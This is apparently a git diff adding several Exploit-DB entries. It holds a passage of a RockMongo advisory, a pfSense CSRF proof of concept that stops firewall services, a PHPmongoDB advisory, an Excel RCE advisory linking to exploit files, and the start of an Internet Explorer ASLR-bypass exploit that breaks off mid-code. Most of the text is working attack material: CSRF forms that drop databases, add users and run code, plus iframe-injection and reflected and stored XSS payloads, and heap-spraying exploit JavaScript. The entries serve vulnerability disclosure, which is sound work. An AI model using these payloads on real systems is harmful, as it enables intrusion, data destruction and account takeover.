PAYLOAD
|
||||||
|
<iframe src=http://www.rockmongo.com>
|
||||||
|
|
||||||
|
#########################################################################################################################################################
|
||||||
|
|
||||||
|
HTML Injection4
|
||||||
|
|
||||||
|
URL
|
||||||
|
http://localhost/rockmongo/index.php?action=server.command&db=test
|
||||||
|
|
||||||
|
METHOD
|
||||||
|
Post
|
||||||
|
|
||||||
|
PARAMETER
|
||||||
|
db
|
||||||
|
|
||||||
|
PAYLOAD
|
||||||
|
<iframe src=http://www.rockmongo.com>
|
||||||
|
|
||||||
|
#########################################################################################################################################################
|
||||||
|
|
||||||
|
HTML Injection5
|
||||||
|
|
||||||
|
URL
|
||||||
|
http://localhost/rockmongo/index.php?action=collection.removeCollection&db=test&collection=system.indexes%3Ciframe%20src=http://www.rockmongo.com%3E
|
||||||
|
|
||||||
|
METHOD
|
||||||
|
Get
|
||||||
|
|
||||||
|
PARAMETER
|
||||||
|
collection
|
||||||
|
|
||||||
|
PAYLOAD
|
||||||
|
<iframe src=http://www.rockmongo.com>
|
||||||
|
|
||||||
|
#########################################################################################################################################################
|
||||||
|
|
||||||
|
HTML Injection6
|
||||||
|
|
||||||
|
URL
|
||||||
|
http://localhost/rockmongo/index.php?action=collection.index&collection=system.indexes&command=findAll&criteria=%22%3E%3Ciframe%20src=http://www.rockmongo.com%3E&db=test&field[0]=_id&format=array&limit=0&order[0]=asc&pagesize=10&query_fields[0]=v
|
||||||
|
|
||||||
|
METHOD
|
||||||
|
Get
|
||||||
|
|
||||||
|
PARAMETER
|
||||||
|
criteria
|
||||||
|
|
||||||
|
PAYLOAD
|
||||||
|
"><iframe src=http://www.rockmongo.com>
|
||||||
|
|
||||||
|
#########################################################################################################################################################
|
||||||
|
|
||||||
|
CSRF details:
|
||||||
|
#########################################################################################################################################################
|
||||||
|
|
||||||
|
CSRF1
|
||||||
|
|
||||||
|
Create Database
|
||||||
|
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<form action="
|
||||||
|
http://localhost/rockmongo/index.php?action=server.createDatabase"
|
||||||
|
method="POST">
|
||||||
|
<input type="text" name="name" value="exploit-db" />
|
||||||
|
<input type="submit" value="Create DB" />
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
||||||
|
#########################################################################################################################################################
|
||||||
|
|
||||||
|
CSRF2
|
||||||
|
|
||||||
|
Drop Database
|
||||||
|
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<form action="
|
||||||
|
http://localhost/rockmongo/index.php?action=db.dropDatabase" method="POST">
|
||||||
|
<input type="text" name="db" value="exploit-db"/>
|
||||||
|
<input type="hidden" name="confirm" value="1"/>
|
||||||
|
<input type="submit" value="Drop DB"/>
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
||||||
|
#########################################################################################################################################################
|
||||||
|
|
||||||
|
CSRF3
|
||||||
|
|
||||||
|
Create Collection
|
||||||
|
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<form action="
|
||||||
|
http://localhost/rockmongo/index.php?action=db.newCollection&db=exploit-db"
|
||||||
|
method="POST">
|
||||||
|
<input type="text" name="name" value="exploit-Collection" />
|
||||||
|
<input type="submit" value="Create Collection" />
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
||||||
|
#########################################################################################################################################################
|
||||||
|
|
||||||
|
CSRF4
|
||||||
|
|
||||||
|
Drop Collection
|
||||||
|
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<form action="
|
||||||
|
http://localhost/rockmongo/index.php?action=collection.removeCollection&db=exploit-db"
|
||||||
|
method="POST">
|
||||||
|
<input type="text" name="collection" value="exploit-Collection"/>
|
||||||
|
<input type="submit" value="Drop Collection"/>
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
||||||
|
#########################################################################################################################################################
|
||||||
|
|
||||||
|
CSRF5
|
||||||
|
|
||||||
|
Add Database User
|
||||||
|
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<form action="
|
||||||
|
http://localhost/rockmongo/index.php?action=db.addUser&db=admin"
|
||||||
|
method="POST">
|
||||||
|
<input type="text" name="username" value="test"/>
|
||||||
|
<input type="text" name="password" value="test"/>
|
||||||
|
<input type="text" name="password2" value="test"/>
|
||||||
|
<input type="submit" value="Add User"/>
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
||||||
|
#########################################################################################################################################################
|
||||||
|
|
||||||
|
CSRF6
|
||||||
|
|
||||||
|
Delete Database User
|
||||||
|
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<form action="
|
||||||
|
http://localhost/rockmongo/index.php?action=db.deleteUser&db=admin"
|
||||||
|
method="POST">
|
||||||
|
<input type="text" name="user" value="test"/>
|
||||||
|
<input type="submit" value="Remove User"/>
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
||||||
|
#########################################################################################################################################################
|
||||||
|
|
||||||
|
CSRF7
|
||||||
|
|
||||||
|
Command Execute
|
||||||
|
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<form action="
|
||||||
|
http://localhost/rockmongo/index.php?action=server.command&" method="POST">
|
||||||
|
<input type="text" name="command" value="{ listCommands: 1 }"/>
|
||||||
|
<input type="text" name="db" value="admin"/>
|
||||||
|
<input type="text" name="format" value="json"/>
|
||||||
|
<input type="submit" value="Command Execute"/>
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
||||||
|
#########################################################################################################################################################
|
||||||
|
|
||||||
|
CSRF8
|
||||||
|
|
||||||
|
Execute Code
|
||||||
|
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<form action="
|
||||||
|
http://localhost/rockmongo/index.php?action=server.execute&db=admin"
|
||||||
|
method="POST">
|
||||||
|
<input type="text" name="code" value="function () { var plus = 1 + 2;
|
||||||
|
return plus; }"/>
|
||||||
|
<input type="text" name="db" value="admin"/>
|
||||||
|
<input type="submit" value="Execute Code"/>
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
||||||
|
#########################################################################################################################################################
|
77
platforms/php/webapps/39695.txt
Executable file
77
platforms/php/webapps/39695.txt
Executable file
|
@ -0,0 +1,77 @@
|
||||||
|
# Exploit Title: pfSense Firewall <= 2.2.6 Cross-Site Request Forgery
|
||||||
|
# Exploit Author: Aatif Shahdad
|
||||||
|
# Software Link: http://files.nyi.pfsense.org/mirror/downloads/old/pfSense-LiveCD-2.2.5-RELEASE-i386.iso.gz
|
||||||
|
# Version: 2.2.6 and below.
|
||||||
|
# Contact: https://twitter.com/61617469665f736
|
||||||
|
# Category: webapps
|
||||||
|
|
||||||
|
|
||||||
|
1. Description
|
||||||
|
|
||||||
|
An attacker can coerce a logged-in victim's browser to issue requests that will start/stop/restart services on the Firewall.
|
||||||
|
|
||||||
|
|
||||||
|
2. Proof of Concept
|
||||||
|
|
||||||
|
Login to the Web Console, for example, http://192.168.0.1 (set at the time of install) and open the following POC’s:
|
||||||
|
|
||||||
|
|
||||||
|
Start NTPD service:
|
||||||
|
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<form action="https://192.168.0.1/status_services.php">
|
||||||
|
<input type="hidden" name="mode" value="startservice" />
|
||||||
|
<input type="hidden" name="service" value="ntpd" />
|
||||||
|
<input type="submit" value="Submit request" />
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
||||||
|
|
||||||
|
Stop NTPD service:
|
||||||
|
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<form action="https://192.168.0.1/status_services.php">
|
||||||
|
<input type="hidden" name="mode" value="stopservice" />
|
||||||
|
<input type="hidden" name="service" value="ntpd" />
|
||||||
|
<input type="submit" value="Submit request" />
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Restart NTPD service:
|
||||||
|
|
||||||
|
POC:
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<form action="https://192.168.0.1/status_services.php">
|
||||||
|
<input type="hidden" name="mode" value="restartservice" />
|
||||||
|
<input type="hidden" name="service" value="ntpd" />
|
||||||
|
<input type="submit" value="Submit request" />
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
||||||
|
The service will automatically start/stop.
|
||||||
|
|
||||||
|
Note: That NTPD service can be replaced with any service running on the Firewall. For example, to stop the APINGER (gateway monitoring daemon) service, use the following POC:
|
||||||
|
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<form action="https://192.168.0.1/status_services.php">
|
||||||
|
<input type="hidden" name="mode" value="stopservice" />
|
||||||
|
<input type="hidden" name="service" value="apinger" />
|
||||||
|
<input type="submit" value="Submit request" />
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
3. Solution:
|
||||||
|
|
||||||
|
Upgrade to version 2.3 at https://www.pfsense.org/download/mirror.php?section=downloads
|
283
platforms/php/webapps/39697.txt
Executable file
283
platforms/php/webapps/39697.txt
Executable file
|
@ -0,0 +1,283 @@
|
||||||
|
#################################################################################################################################################
|
||||||
|
# Exploit Title: PHPmongoDB v1.0.0 - Multiple Vulnerabilities [CSRF |
|
||||||
|
HTML(or Iframe) Injection | XSS (Reflected & Stored)]
|
||||||
|
# Date: 14.04.2016
|
||||||
|
# Exploit Author: Ozer Goker
|
||||||
|
# Vendor Homepage: http://www.phpmongodb.org
|
||||||
|
# Software Link: https://github.com/phpmongodb/phpmongodb
|
||||||
|
# Version: 1.0.0
|
||||||
|
#################################################################################################################################################
|
||||||
|
|
||||||
|
Introduction
|
||||||
|
A Tool available for administrative work of MongoDB over Web. It is
|
||||||
|
PHPmongoDB. source = http://www.phpmongodb.org
|
||||||
|
|
||||||
|
Vulnerabilities: CSRF | HTML(or Iframe) Injection | XSS (Reflected & Stored)
|
||||||
|
|
||||||
|
|
||||||
|
CSRF details:
|
||||||
|
|
||||||
|
#################################################################################################################################################
|
||||||
|
|
||||||
|
CSRF1
|
||||||
|
|
||||||
|
Create Database
|
||||||
|
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<form action="http://localhost/phpmongodb/index.php" method="POST">
|
||||||
|
<input type="text" name="db" value="db"/>
|
||||||
|
<input type="text" name="load" value="Database/Save"/>
|
||||||
|
<input type="submit" value="Create DB"/>
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
||||||
|
#################################################################################################################################################
|
||||||
|
|
||||||
|
CSRF2
|
||||||
|
|
||||||
|
Drop Database
|
||||||
|
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<form action="http://localhost/phpmongodb/index.php" method="POST">
|
||||||
|
<input type="text" name="db" value="db"/>
|
||||||
|
<input type="text" name="load" value="Database/Drop"/>
|
||||||
|
<input type="submit" value="Drop DB"/>
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
||||||
|
#################################################################################################################################################
|
||||||
|
|
||||||
|
CSRF3
|
||||||
|
|
||||||
|
Create Collection
|
||||||
|
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<form action="http://localhost/phpmongodb/index.php" method="POST">
|
||||||
|
<input type="text" name="collection" value="testcollection"/>
|
||||||
|
<input type="text" name="load" value="Collection/CreateCollection"/>
|
||||||
|
<input type="text" name="db" value="db"/>
|
||||||
|
<input type="submit" value="Create Collection"/>
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
||||||
|
|
||||||
|
#################################################################################################################################################
|
||||||
|
|
||||||
|
Drop Collection
|
||||||
|
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<form action="http://localhost/phpmongodb/index.php" method="POST">
|
||||||
|
<input type="text" name="collection" value="testcollection"/>
|
||||||
|
<input type="text" name="load" value="Collection/DropCollection"/>
|
||||||
|
<input type="text" name="db" value="db"/>
|
||||||
|
<input type="submit" value=Drop Collection"/>
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
||||||
|
#################################################################################################################################################
|
||||||
|
|
||||||
|
Execute Code
|
||||||
|
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<form action="http://localhost/phpmongodb/index.php?load=Server/Execute"
|
||||||
|
method="POST">
|
||||||
|
<input type="text" name="code" value="db.getCollectionNames()"/>
|
||||||
|
<input type="text" name="db" value="db"/>
|
||||||
|
<input type="submit" value=Execute Code"/>
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
||||||
|
#################################################################################################################################################
|
||||||
|
|
||||||
|
Logout
|
||||||
|
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<form action="http://localhost/phpmongodb/index.php?load=Login/Logout"
|
||||||
|
method="POST">
|
||||||
|
<input type="submit" value="Logout"/>
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
||||||
|
#################################################################################################################################################
|
||||||
|
|
||||||
|
|
||||||
|
HTML Injection details:
|
||||||
|
#################################################################################################################################################
|
||||||
|
|
||||||
|
HTML Injection1
|
||||||
|
|
||||||
|
URL
|
||||||
|
http://localhost/phpmongodb/index.php/%22%3E%3Ciframe%20src=http://www.phpmongodb.org%3E
|
||||||
|
|
||||||
|
METHOD
|
||||||
|
Get
|
||||||
|
|
||||||
|
PARAMETER
|
||||||
|
URL
|
||||||
|
|
||||||
|
PAYLOAD
|
||||||
|
/"><iframe src=http://www.phpmongodb.org>
|
||||||
|
|
||||||
|
#################################################################################################################################################
|
||||||
|
|
||||||
|
HTML Injection2
|
||||||
|
|
||||||
|
URL
|
||||||
|
http://localhost/phpmongodb/index.php?size=&load=Collection%2fCreateCollection&max=&capped=on&collection=system.indexes%253E%253Ciframe%2520src%253Dhttp%253A%252f%252fwww.phpmongodb.org%253E&db=local
|
||||||
|
|
||||||
|
METHOD
|
||||||
|
Get
|
||||||
|
|
||||||
|
PARAMETER
|
||||||
|
collection
|
||||||
|
|
||||||
|
PAYLOAD
|
||||||
|
%253E%253Ciframe%2520src%253Dhttp%253A%252f%252fwww.phpmongodb.org%253E
|
||||||
|
|
||||||
|
#################################################################################################################################################
|
||||||
|
|
||||||
|
HTML Injection3
|
||||||
|
|
||||||
|
URL
|
||||||
|
http://localhost/phpmongodb/index.php?size=&load=Collection%2fCreateCollection&max=&capped=on&collection=system.indexes&db=local%253E%253Ciframe%2520src%253Dhttp%253A%252f%252fwww.phpmongodb.org%253E
|
||||||
|
|
||||||
|
METHOD
|
||||||
|
Get
|
||||||
|
|
||||||
|
PARAMETER
|
||||||
|
db
|
||||||
|
|
||||||
|
PAYLOAD
|
||||||
|
%253E%253Ciframe%2520src%253Dhttp%253A%252f%252fwww.phpmongodb.org%253E
|
||||||
|
|
||||||
|
#################################################################################################################################################
|
||||||
|
|
||||||
|
HTML Injection4 (Stored)
|
||||||
|
|
||||||
|
URL
|
||||||
|
http://localhost/phpmongodb/index.php
|
||||||
|
|
||||||
|
METHOD
|
||||||
|
Post
|
||||||
|
|
||||||
|
PARAMETER
|
||||||
|
collection
|
||||||
|
|
||||||
|
PAYLOAD
|
||||||
|
%253E%253Ciframe%2520src%253Dhttp%253A%252f%252fwww.phpmongodb.org%253E
|
||||||
|
|
||||||
|
Request
|
||||||
|
POST /phpmongodb/index.php HTTP/1.1
|
||||||
|
|
||||||
|
collection=testcollection%253E%253Ciframe%2520src%253Dhttp%253A%252f%
|
||||||
|
252fwww.phpmongodb.org
|
||||||
|
%253E&size=&max=&load=Collection%2FCreateCollection&db=db&save=
|
||||||
|
|
||||||
|
#################################################################################################################################################
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
XSS details:
|
||||||
|
#################################################################################################################################################
|
||||||
|
|
||||||
|
XSS1 (Reflected)
|
||||||
|
|
||||||
|
URL
|
||||||
|
http://localhost/phpmongodb/index.php/%22%3E%3Cscript%3Ealert%281%29%3C/script%3E
|
||||||
|
|
||||||
|
METHOD
|
||||||
|
Get
|
||||||
|
|
||||||
|
PARAMETER
|
||||||
|
URL
|
||||||
|
|
||||||
|
PAYLOAD
|
||||||
|
/"><script>alert(1)</script>
|
||||||
|
|
||||||
|
#################################################################################################################################################
|
||||||
|
|
||||||
|
XSS2 (Reflected)
|
||||||
|
|
||||||
|
URL
|
||||||
|
http://localhost/phpmongodb/index.php?size=&load=Collection%2fCreateCollection&max=&capped=on&collection=system.indexes%253cscript%253ealert%25282%2529%253c%252fscript%253e&db=local
|
||||||
|
|
||||||
|
METHOD
|
||||||
|
Get
|
||||||
|
|
||||||
|
PARAMETER
|
||||||
|
collection
|
||||||
|
|
||||||
|
PAYLOAD
|
||||||
|
%253cscript%253ealert%25282%2529%253c%252fscript%253e
|
||||||
|
|
||||||
|
#################################################################################################################################################
|
||||||
|
|
||||||
|
XSS3 (Reflected)
|
||||||
|
|
||||||
|
URL
|
||||||
|
http://localhost/phpmongodb/index.php?size=&load=Collection%2fCreateCollection&max=&capped=on&collection=system.indexes&db=local%253cscript%253ealert%25283%2529%253c%252fscript%253e
|
||||||
|
|
||||||
|
METHOD
|
||||||
|
Get
|
||||||
|
|
||||||
|
PARAMETER
|
||||||
|
db
|
||||||
|
|
||||||
|
PAYLOAD
|
||||||
|
%253cscript%253ealert%25283%2529%253c%252fscript%253e
|
||||||
|
|
||||||
|
#################################################################################################################################################
|
||||||
|
|
||||||
|
XSS4 (stored)
|
||||||
|
|
||||||
|
URL
|
||||||
|
http://localhost/phpmongodb/index.php
|
||||||
|
|
||||||
|
METHOD
|
||||||
|
Post
|
||||||
|
|
||||||
|
PARAMETER
|
||||||
|
collection
|
||||||
|
|
||||||
|
PAYLOAD
|
||||||
|
%253Cscript%253Ealert%25284%2529%253C%252fscript%253E
|
||||||
|
|
||||||
|
Request
|
||||||
|
POST /phpmongodb/index.php HTTP/1.1
|
||||||
|
|
||||||
|
collection=testcollection%253Cscript%253Ealert%25284%2529%253C%252fscript%253E&size=&max&load=Collection%2FCreateCollection&db=db&save=
|
||||||
|
|
||||||
|
|
||||||
|
#################################################################################################################################################
|
||||||
|
|
||||||
|
XSS5 (Stored)
|
||||||
|
http://localhost/phpmongodb/index.php?load=Server/Execute
|
||||||
|
|
||||||
|
METHOD
|
||||||
|
Post
|
||||||
|
|
||||||
|
PATAMETER
|
||||||
|
db
|
||||||
|
|
||||||
|
PAYLOAD
|
||||||
|
%253Cscript%253Ealert%25285%2529%253C%252fscript%253E
|
||||||
|
|
||||||
|
|
||||||
|
Request
|
||||||
|
POST /phpmongodb/index.php?load=Server/Execute HTTP/1.1
|
||||||
|
|
||||||
|
code=db.getCollectionNames%28%29&db=db%253Cscript%253Ealert%25285%2529%253C%252fscript%253E
|
||||||
|
|
||||||
|
#################################################################################################################################################
|
50
platforms/windows/dos/39694.txt
Executable file
50
platforms/windows/dos/39694.txt
Executable file
|
@ -0,0 +1,50 @@
|
||||||
|
#######################################################################################
|
||||||
|
|
||||||
|
# Title: Microsoft Office Excel Out-of-Bounds Read Remote Code Execution
|
||||||
|
# Application: Microsoft Office Excel
|
||||||
|
# Affected Products: Microsoft Office Excel 2007,2010,2013,2016
|
||||||
|
# Software Link: https://products.office.com/en-ca/excel
|
||||||
|
# Date: April 12, 2016
|
||||||
|
# CVE: CVE-2016-0122 (MS16-042)
|
||||||
|
# Author: Sébastien Morin from COSIG
|
||||||
|
# Contact: https://twitter.com/COSIG_ (@COSIG_)
|
||||||
|
# Personal contact: https://smsecurity.net/; https://twitter.com/SebMorin1 (@SebMorin1)
|
||||||
|
|
||||||
|
#######################################################################################
|
||||||
|
|
||||||
|
===================
|
||||||
|
Introduction:
|
||||||
|
===================
|
||||||
|
|
||||||
|
Microsoft Excel is a spreadsheet developed by Microsoft for Windows, Mac OS X, and iOS. It features calculation, graphing tools, pivot tables, and a macro programming language called Visual Basic for Applications. It has been a very widely applied spreadsheet for these platforms, especially since version 5 in 1993, and it has replaced Lotus 1-2-3 as the industry standard for spreadsheets. Excel forms part of Microsoft Office.
|
||||||
|
|
||||||
|
(https://en.wikipedia.org/wiki/Microsoft_Excel)
|
||||||
|
|
||||||
|
#######################################################################################
|
||||||
|
|
||||||
|
===================
|
||||||
|
Report Timeline:
|
||||||
|
===================
|
||||||
|
|
||||||
|
2016-02-06: Sébastien Morin from COSIG report the vulnerability to MSRC.
|
||||||
|
2016-02-16: MSRC confirm the vulnerability.
|
||||||
|
2016-04-12: Microsoft fixed the issue (MS16-042).
|
||||||
|
2016-04-13: Advisory released.
|
||||||
|
#######################################################################################
|
||||||
|
|
||||||
|
===================
|
||||||
|
Technical details:
|
||||||
|
===================
|
||||||
|
|
||||||
|
This vulnerability could allow remote code execution if a user opens a specially crafted Microsoft Office file (.xlsm). An attacker who successfully exploited the vulnerabilities could run arbitrary code in the context of the current user.
|
||||||
|
|
||||||
|
#######################################################################################
|
||||||
|
|
||||||
|
==========
|
||||||
|
POC:
|
||||||
|
==========
|
||||||
|
|
||||||
|
https://smsecurity.net/wp-content/uploads/2016/04/Microsoft_Office_Excel_Out-of-Bounds_Read_RCE.xlsm
|
||||||
|
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39694.zip
|
||||||
|
|
||||||
|
#######################################################################################
|
264
platforms/windows/remote/39698.html
Executable file
264
platforms/windows/remote/39698.html
Executable file
|
@ -0,0 +1,264 @@
|
||||||
|
<!--
|
||||||
|
|
||||||
|
CVE-2015-6086
|
||||||
|
Out Of Bound Read Vulnerability
|
||||||
|
Address Space Layout Randomization (ASLR) Bypass
|
||||||
|
|
||||||
|
Improper handling of new line and white space character caused
|
||||||
|
Out of Bound Read in CDOMStringDataList::InitFromString. This
|
||||||
|
flaw can be used to leak the base address of MSHTML.DLL and
|
||||||
|
effectively bypass Address Space Layout Randomization.
|
||||||
|
|
||||||
|
Affected Version:
|
||||||
|
Internet Explorer 9
|
||||||
|
Internet Explorer 10
|
||||||
|
Internet Explorer 11
|
||||||
|
|
||||||
|
Test Bed:
|
||||||
|
IE: 10 & 11
|
||||||
|
KB: KB3087038
|
||||||
|
OS: Windows 7 SP1 x86
|
||||||
|
|
||||||
|
Advisory:
|
||||||
|
http://www.payatu.com/advisory-ie_cdomstringdatalist/
|
||||||
|
https://technet.microsoft.com/library/security/MS15-112
|
||||||
|
http://www.zerodayinitiative.com/advisories/ZDI-15-547/
|
||||||
|
|
||||||
|
Copyright 2016 © Payatu Technologies Pvt. Ltd.
|
||||||
|
|
||||||
|
Author: Ashfaq Ansari
|
||||||
|
Email: ashfaq[at]payatu[dot]com
|
||||||
|
Websites: www.payatu.com
|
||||||
|
www.nullcon.net
|
||||||
|
www.hardwear.io
|
||||||
|
www.null.co.in
|
||||||
|
|
||||||
|
This program is free software: you can redistribute it and/or modify it
|
||||||
|
under the terms of the GNU General Public License as published by the
|
||||||
|
Free Software Foundation, either version 3 of the License, or (at your
|
||||||
|
option) any later version.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful, but WITHOUT
|
||||||
|
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along with
|
||||||
|
this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
|
||||||
|
THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING,
|
||||||
|
BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
|
||||||
|
PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
|
||||||
|
BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||||
|
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||||
|
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
|
||||||
|
OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||||
|
POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
-->
|
||||||
|
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<title>IE 10-11 Windows 7 SP1 x86 - OOB Read ALSR Bypass PoC</title>
|
||||||
|
<meta http-equiv="pragma" content="no-cache"/>
|
||||||
|
<meta http-equiv="expires" content="0"/>
|
||||||
|
<script type="text/javascript">
|
||||||
|
/**
|
||||||
|
* This function is used to create string of desired size.
|
||||||
|
*
|
||||||
|
* @param character
|
||||||
|
* @param size
|
||||||
|
* @returns {string}
|
||||||
|
*/
|
||||||
|
function createString(character, size) {
|
||||||
|
while (character.length < size) {
|
||||||
|
character += character;
|
||||||
|
}
|
||||||
|
|
||||||
|
// BSTR structure
|
||||||
|
// header | unicode string | NULL terminator
|
||||||
|
// 4 bytes | sizeof(string) * 2 | 2 bytes
|
||||||
|
return character.substr(0, (size - 6) / 2);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* This function is used to get the Internet Explorer's version.
|
||||||
|
*
|
||||||
|
* @link http://stackoverflow.com/questions/19999388/jquery-check-if-user-is-using-ie
|
||||||
|
* @returns {int | null}
|
||||||
|
*/
|
||||||
|
function getInternetExplorerVersion() {
|
||||||
|
var userAgent = window.navigator.userAgent;
|
||||||
|
var msie = userAgent.indexOf('MSIE');
|
||||||
|
|
||||||
|
if (msie > 0) {
|
||||||
|
return parseInt(userAgent.substring(msie + 5, userAgent.indexOf('.', msie)), 10);
|
||||||
|
}
|
||||||
|
|
||||||
|
var trident = userAgent.indexOf('Trident/');
|
||||||
|
if (trident > 0) {
|
||||||
|
var rv = userAgent.indexOf('rv:');
|
||||||
|
return parseInt(userAgent.substring(rv + 3, userAgent.indexOf('.', rv)), 10);
|
||||||
|
}
|
||||||
|
|
||||||
|
var edge = userAgent.indexOf('Edge/');
|
||||||
|
if (edge > 0) {
|
||||||
|
return parseInt(userAgent.substring(edge + 5, userAgent.indexOf('.', edge)), 10);
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* This function is used to leak the base address of MSHTML.DLL.
|
||||||
|
*
|
||||||
|
* @param offsetOfMSHTMLBaseAddress
|
||||||
|
*/
|
||||||
|
function LeakMSHTMLBaseAddress(offsetOfMSHTMLBaseAddress) {
|
||||||
|
// Step 1: Let's do some clean up
|
||||||
|
CollectGarbage();
|
||||||
|
|
||||||
|
var eventArray = new Array();
|
||||||
|
var polyLineArray = new Array();
|
||||||
|
var exploitSuccessful = false;
|
||||||
|
|
||||||
|
// Step 2: As the target object is stored in Process Heap
|
||||||
|
// instead of Isolated Heap, we can use any element that
|
||||||
|
// is stored on Process Heap to spray the Heap.
|
||||||
|
//
|
||||||
|
// To create a predictable pattern on Heap, we spray using
|
||||||
|
// "MsGestureEvent" and it's size is 0x0A0. We will use
|
||||||
|
// this object to read the VFTable pointer.
|
||||||
|
for (var i = 0; i < 0x1000; i++) {
|
||||||
|
eventArray[i] = document.createEvent('MsGestureEvent');
|
||||||
|
}
|
||||||
|
|
||||||
|
// Step 3: Now we need to create a hole in the allocation
|
||||||
|
// that we made earlier. The purpose of this hole is to
|
||||||
|
// allocate the vulnerable buffer just before the Heap
|
||||||
|
// chunk of "MsGestureEvent"
|
||||||
|
for (i = 1; i < 0x500; i += 2) {
|
||||||
|
eventArray[i] = null;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Step 4: As Memory Protector is enabled by default on all
|
||||||
|
// versions of IE, it will not allow the free of objects
|
||||||
|
// instantly. So, we need to force free the memory due to
|
||||||
|
// Delayed Frees.
|
||||||
|
CollectGarbage2();
|
||||||
|
|
||||||
|
// Step 5: Now, fill the hole that we created earlier. The
|
||||||
|
// "requiredFeatures" property is allocated on OLEAUT32 Cache
|
||||||
|
// Heap, old Plunger technique does not seems to work for me.
|
||||||
|
// I have used a neat trick to bypass OLEAUT32 Cache Heap.
|
||||||
|
for (i = 0; i < 0x250; i++) {
|
||||||
|
polyLineArray[i] = document.createElementNS('http://www.w3.org/2000/svg', 'polyline');
|
||||||
|
|
||||||
|
// Step 6: Trick to bypass allocation on OLEAUT32 Cached Heap
|
||||||
|
polyLineArray[i].setAttributeNS(null, 'attrib' + i, createString('A', 0x0A0));
|
||||||
|
|
||||||
|
// Step 7: Now, "requiredFeatures" property won't be allocated on OLEAUT32 Cache Heap.
|
||||||
|
polyLineArray[i].setAttributeNS(null, 'requiredFeatures', createString('\n', 0x0A0));
|
||||||
|
|
||||||
|
// Step 8: As the whole exploitation depends on certain Heap
|
||||||
|
// layout, thus, this is unreliable. But to overcome this
|
||||||
|
// un-reliability, I'm reloading the page until, right Heap
|
||||||
|
// Layout is achieved.
|
||||||
|
//
|
||||||
|
// This PoC is created for the vendor to acknowledge this bug,
|
||||||
|
// hence reliability is not my concern at this moment. We can
|
||||||
|
// make it more reliable, but let's leave it for later stage.
|
||||||
|
//
|
||||||
|
// Some heuristics to detect if Heap is in the right state.
|
||||||
|
